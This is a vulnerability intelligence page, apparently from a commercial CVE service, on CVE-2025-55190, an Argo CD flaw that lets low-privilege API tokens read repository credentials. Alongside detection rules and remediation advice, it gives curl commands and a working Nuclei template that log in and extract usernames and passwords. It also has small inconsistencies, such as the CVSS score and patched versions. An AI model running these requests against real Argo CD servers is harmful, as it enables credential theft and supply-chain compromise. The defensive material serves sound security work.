☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Argo cd logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 10 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-55190

CVE-2025-55190 is a critical authorization bypass vulnerability in Argo CD, a popular GitOps continuous delivery tool for Kubernetes.
📅 PUBLISHED: 2025-09-04 22:37 UTC 🔄 UPDATED: 2026-10-12 12:00 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 5.46%
👁️
5.46% probability
136.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-55190 is a critical authorization bypass vulnerability in Argo CD, a popular GitOps continuous delivery tool for Kubernetes. The flaw allows API tokens with project-level permissions to retrieve sensitive repository credentials (usernames and passwords) through the project details API endpoint (/api/v1/projects/{name}/detailed). This occurs even when the token only has standard application management permissions and no explicit access to secrets. The vulnerability affects multiple version branches, including 2.13.x, 2.14.x, 3.0.x, and 3.1.x release candidates. An attacker with a valid, low-privilege API token can escalate privileges to access credential material, potentially leading to lateral movement and supply chain compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Argo CD is a critical component in many Kubernetes-based CI/CD pipelines. Compromise of repository credentials can lead to unauthorized code commits, backdoor insertion, and poisoning of container images. The vulnerability directly impacts the software supply chain by exposing credentials used to access private Git repositories, container registries, and other infrastructure-as-code sources.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Base Score: 9.9 (Critical)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (valid API token)
  • User Interaction: None
  • Scope: Changed (impact extends beyond the vulnerable component)
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The high CVSS score reflects the ease of exploitation, low privilege requirement, and the severe impact on confidentiality, integrity, and availability. The scope change indicates that the compromised credentials can be used to attack other systems.

Deep Dive & Mechanics

The vulnerability resides in the Argo CD API server's handling of project details requests. The /api/v1/projects/{name}/detailed endpoint is designed to return comprehensive information about a project, including its associated repositories. The authorization logic incorrectly grants access to this endpoint to any token with projects, get permission, regardless of whether the token has explicit permission to read secrets or repository credentials.

Root Cause: The API endpoint does not perform a granular check to filter out sensitive fields (like username and password) from the repository configuration when the requesting token lacks explicit secret access. The authorization middleware only verifies that the token has the projects, get action, but does not enforce a separate permission check for credential exposure.

Attack Flow:

  1. Attacker obtains a valid Argo CD API token with projects, get permission (e.g., a project-level token for application management).
  2. Attacker sends a GET request to /api/v1/projects/{project_name}/detailed with the token in the Authorization header.
  3. The server returns the full project details, including the repositories array containing username and password fields for each configured repository.
  4. Attacker extracts the credentials and uses them to access private Git repositories, container registries, or other external systems.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In the API handler for GetProjectDetailed
func (s *Server) GetProjectDetailed(ctx context.Context, q *projectpkg.ProjectQuery) (*projectpkg.DetailedProject, error) {
    // Only checks if token has 'projects', 'get' permission
    if err := s.enf.EnforceClaims(ctx.Value("claims"), "projects", "get", q.Name); err != nil {
        return nil, err
    }
    // Returns full project details including credentials
    return s.getProjectDetails(ctx, q.Name)
}

Patched Code (simplified):

func (s *Server) GetProjectDetailed(ctx context.Context, q *projectpkg.ProjectQuery) (*projectpkg.DetailedProject, error) {
    // Check for 'projects', 'get' permission
    if err := s.enf.EnforceClaims(ctx.Value("claims"), "projects", "get", q.Name); err != nil {
        return nil, err
    }
    // Additional check: require 'repositories', 'get' permission to expose credentials
    if err := s.enf.EnforceClaims(ctx.Value("claims"), "repositories", "get", q.Name); err != nil {
        // Return project details without sensitive credential fields
        return s.getProjectDetailsSanitized(ctx, q.Name)
    }
    return s.getProjectDetails(ctx, q.Name)
}

The patch introduces an additional authorization check for the repositories, get action. If the token lacks this permission, the endpoint returns a sanitized version of the project details that excludes the username and password fields from repository configurations.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to an Argo CD instance (e.g., https://argocd.example.com)
  • Valid credentials (username/password) for a user with a project-level API token

Exploitation Steps:

  1. Authenticate and obtain a token:
curl -s -X POST https://argocd.example.com/api/v1/session \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"password123"}' | jq -r '.token'
  1. Request project details:
curl -s https://argocd.example.com/api/v1/projects/default/detailed \
  -H "Authorization: Bearer <TOKEN>" | jq '.repositories'
  1. Extract credentials:
[
  {
    "repo": "https://github.com/org/private-repo.git",
    "username": "git-robot",
    "password": "ghp_xxxxxxxxxxxxxxxxxxxx"
  }
]

Automated Exploit (Nuclei): The provided Nuclei template automates this process. It first authenticates to obtain a token, then requests the project details and extracts exposed credentials.

Blue Team

Detection and Response:

  1. Monitor API logs for unusual access to /api/v1/projects/*/detailed endpoints, especially from tokens with low privilege levels.
  2. Audit token permissions to identify tokens that have projects, get but not repositories, get permission.
  3. Check for credential exposure by reviewing recent project detail responses for the presence of username and password fields.
  4. Rotate all repository credentials immediately if compromise is suspected.
  5. Implement network segmentation to limit the blast radius of credential exposure.

Indicators of Compromise (IOCs)

  • API Request Pattern:
    • GET /api/v1/projects/{project}/detailed
    • Response body containing "repositories" array with "username" and "password" fields
  • Log Entries:
    • Argo CD API server logs showing access to project details by tokens with projects, get permission
  • Network Traffic:
    • Outbound connections from the Argo CD server to external Git repositories or container registries using exposed credentials
  • File System:
    • Unauthorized modifications to Git repositories or container images that were accessed using the exposed credentials

Detection Engineering

YARA Rule

rule CVE_2025_55190_ArgoCD_Credential_Exposure {
    meta:
        description = "Detects ArgoCD API responses containing exposed repository credentials"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-55190"
        severity = "critical"
    strings:
        $repositories = /"repositories"\s*:\s*\[/
        $username = /"username"\s*:\s*"[^"]+"/
        $password = /"password"\s*:\s*"[^"]+"/
    condition:
        all of them
}

Sigma Rule

title: ArgoCD Repository Credential Exposure via Project Details API
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to ArgoCD project details API endpoint that may expose repository credentials
author: Valters IT
date: 2025-04-10
tags:
    - attack.credential_access
    - attack.t1552.001
    - cve.2025.55190
logsource:
    category: webserver
    product: argo-cd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/api/v1/projects/'
        cs-uri-stem|endswith: '/detailed'
    condition: selection
falsepositives:
    - Legitimate administrative access with proper permissions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-55190 ArgoCD Repository Credential Exposure Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/v1/projects/"; http_uri;
    content:"/detailed"; http_uri;
    content:"Authorization"; http_header;
    pcre:"/Bearer\s+[A-Za-z0-9\-_]+\s*$/Ri";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-55190;
    reference:url,github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff;
)

Nuclei Template

id: CVE-2025-55190

info:
  name: ArgoCD Project API Token Repository Credentials Exposure
  author: nukunga[seunghyeonJeon]
  severity: critical
  description: |
    Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials
    (usernames, passwords) through the project details API endpoint, even when the token only has standard
    application management permissions and no explicit access to secrets. This vulnerability affects versions
    v2.2.0-rc1 and later, including 2.13.0 through 2.13.8, 2.14.0 through 2.14.15, 3.0.0 through 3.0.12,
    and 3.1.0-rc1 through 3.1.1. Any token with project get permissions is vulnerable, including global permissions.
    Note: This template requires valid ArgoCD credentials (username/password) to test the vulnerability.
  impact: |
    Authenticated attackers with project-level API tokens can retrieve sensitive repository credentials including usernames and passwords without requiring explicit secret access permissions.
  remediation: |
    Upgrade ArgoCD to version 2.13.9, 2.14.16, 3.0.13, 3.1.2, or later depending on your version branch that properly restricts repository credential access.
  reference:
    - https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55190
    - https://github.com/argoproj/argo-cd/commit/e8f86101f5378662ae6151ce5c3a76e9141900e8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-55190
    epss-score: 0.05376
    epss-percentile: 0.90131
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"argo cd"
  tags: cve,cve2025,argocd,credentials,exposure,gitops,kubernetes,vkev

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/v1/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    extractors:
      - type: json
        name: token
        part: body
        internal: true
        json:
          - '.token'

  - raw:
      - |
        GET /api/v1/projects/default/detailed HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - '"repositories":'
          - '"username":'
          - '"password":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: exposed_credentials
        part: body
        group: 1
        regex:
          - '"repositories":\[.*?"username":"([^"]+)".*?"password":"([^"]+)"'
# digest: 4a0a00473045022100e990997f2065c3f7eede6316d8fbadcc015d9f33ba3927823a7aba774d338d6f02202c206c12bc99a77e498215e71d77910cf3d19dc66590c3e36e32f2b906441e09:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Argo CD to the patched version:
    • 2.13.x → 2.13.9
    • 2.14.x → 2.14.16
    • 3.0.x → 3.0.14
    • 3.1.x → 3.1.2
  2. Rotate all repository credentials that may have been exposed.
  3. Review API token permissions and revoke any tokens that have projects, get but not repositories, get permission.

Long-term Mitigations:

  • Implement the principle of least privilege for all API tokens.
  • Enable audit logging and monitor for suspicious access to project details endpoints.
  • Use short-lived tokens and rotate them regularly.
  • Consider using external secret management solutions (e.g., HashiCorp Vault) to avoid storing credentials in Argo CD repository configurations.

Workaround (if patching is not immediately possible):

  • Restrict network access to the Argo CD API server.
  • Implement a reverse proxy or WAF rule to block requests to /api/v1/projects/*/detailed from untrusted IPs.
  • Temporarily disable project-level API tokens and use only global tokens with strict permissions.

Valters IT

{/* [Security Hash: A55BAECDC5303DB4E908EF21] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-55190/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.